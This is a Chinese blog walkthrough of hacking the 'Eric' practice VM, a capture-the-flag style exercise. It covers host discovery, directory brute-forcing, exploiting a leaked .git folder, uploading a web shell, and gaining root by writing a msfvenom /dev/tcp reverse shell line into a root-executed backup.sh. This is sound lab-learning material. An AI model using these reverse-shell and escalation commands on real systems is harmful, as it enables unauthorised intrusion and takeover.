Eric靶机渗透测试总结

环境配置

直接将下载好的eric靶机文件使用vbox虚拟机导入,

问题:

由于我的 kail 是装在vmare中的,所以如果选择nat 模式的网络连接是没办法访问到vbox中的虚拟机的,因为两个不同的虚拟机软件使用的是两个nat网络。

解决方法:

将两个虚拟机的网络连接模式都选择桥接模式,桥接到同一网卡即可,注意此时电脑的网络不能使用联通校园网,否则无法进行网卡桥接,手机开个热点就行了。

预备知识

netdiscover 用法

-i device: your network device
-r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8
-l file: scan the list of ranges contained into the given file
-p passive mode: do not send anything, only sniff
-m file: scan a list of known MACs and host names
-F filter: customize pcap filter expression (default: "arp")
-s time: time to sleep between each ARP request (milliseconds)
-c count: number of times to send each ARP request (for nets with packet loss)
-n node: last source IP octet used for scanning (from 2 to 253)
-d ignore home config files for autoscan and fast mode
-f enable fastmode scan, saves a lot of time, recommended for auto
-P print results in a format suitable for parsing by another program and stop after active scan
-L similar to -P but continue listening after the active scan is completed
-N Do not print header. Only valid when -P or -L is enabled.
-S enable sleep time suppression between each request (hardcore mode)

举例:

root@kail:~# netdiscover -i eth0 -r 192.168.43.0/24

-i是指定网卡 -r是指定ip地址的范围

dirbuster 目录爆破

开启命令

root@kail:~# dirbuster 

kail 自带的爆破列表所在位置:

/usr/share/wordlists/

nmap 初步

  • 扫描主机开放端口

    nmap 192.168.1.1

  • 查看是否开放某一端口

    nmap -p 8080 192.168.1.1

    同时查询多个端口

    nmap -p 22,21,80 192.168.31.13

    查询多个网段

    nmap -p 22,21,80 192.168.31.1-253

    扫描整个子网

    nmap 192.168.31.1/24

  • 强力模式

    nmap -A 192.168.0.1

msfvenom 生成脚本

博主总结

渗透测试

信息收集

主机发现

root@kail:~# netdiscover -i eth0 -r 192.168.43.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                
 32 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 1920                                     
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.43.76   08:00:27:fe:19:1e      2     120  PCS Systemtechnik GmbH                              
 192.168.43.95   e4:a7:c5:c5:f6:ef     28    1680  HUAWEI TECHNOLOGIES CO.,LTD                         
 192.168.43.146  b8:08:cf:96:f6:0e      2     120  Intel Corporate                                     
[14]+  已停止               netdiscover -i eth0 -r 192.168.43.0/24

192.168.43.76 即为 eric 靶机的ip

漏洞发现

  • nmap 扫描主机开放的所有端口

    发现开放了80端口,尝试访问

    发现是一个还未建设完毕的博客。

  • 使用dirbuster进行目录爆破。

    root@kail:~# dirbuster 

    1575557516150

    发现了 admin.php, 尝试访问。

    得到一个登录页面,随意输入用户名和密码,结果,返回提示我们不要尝试进行弱口令爆破了。

    Wrong username and/or password. Don’t even bother bruteforcing.

  • 使用nmap 强力模式进行扫描,得到扫描结果

    发现存在 .git 泄露漏洞。

漏洞利用

使用 GitHack 工具可以利用 .git 漏洞对网站的工程文件重建。

查看获取到的文件,在admin.php 里面发现账户密码

这密码怎么可能爆破出来,emmmmm-

使用找的的密码进行登录,得到

上传后门文件。

提权

  • 反向shell

    在kail 上创建nc 监听。

    ​ root@kail:~# nc -lnvp 1234

    访问我们上传的大马,找到network 中的 Reverse Shell 填入我们kail 的 ip, , run 一下

    http://192.168.43.76/upload/nosafe.php#!network

    连接成功

  • 提权

    尝试

    /var/www>cd ~
    /bin/sh: 3: cd: can't cd to ~

    我们没有root权限,不能查看根目录。

    尝试提权

    找到了home 文件夹,发现了一个flag.txt, 可是此时要求的是root/flag.txt 这个文件显然路径不对。

    我们发现了backup.sh, 该文件我们呢有完全的读写权限,而且该文件还拥有root权限,所以可以尝试更改此文件,从而获取到root权限。

    查看该文件,发现是一个将网站文件进行打包压缩的命令

    生成反向shell脚本

    root@kail:~# msfvenom -p cmd/unix/reverse_bash lhost=192.168.43.147 lport=4455 R
    [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
    [-] No arch selected, selecting arch: cmd from the payload
    No encoder or badchars specified, outputting raw payload
    Payload size: 68 bytes
    0<&154-;exec 154<>/dev/tcp/192.168.43.147/4455;sh <&154 >&154 2>&154

    写入 backup.sh

    /home/eric>echo "0<&154-;exec 154<>/dev/tcp/192.168.43.147/4455;sh <&154 >&154 2>&154"> backup.sh

    创建另一个监听端口,运行backup.shell

    得到最终的flag。

总结

  1. 主机发现
  2. 漏洞发现
  3. 漏洞利用
  4. 提权

   转载规则


《Eric靶机渗透测试总结》 ZS 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录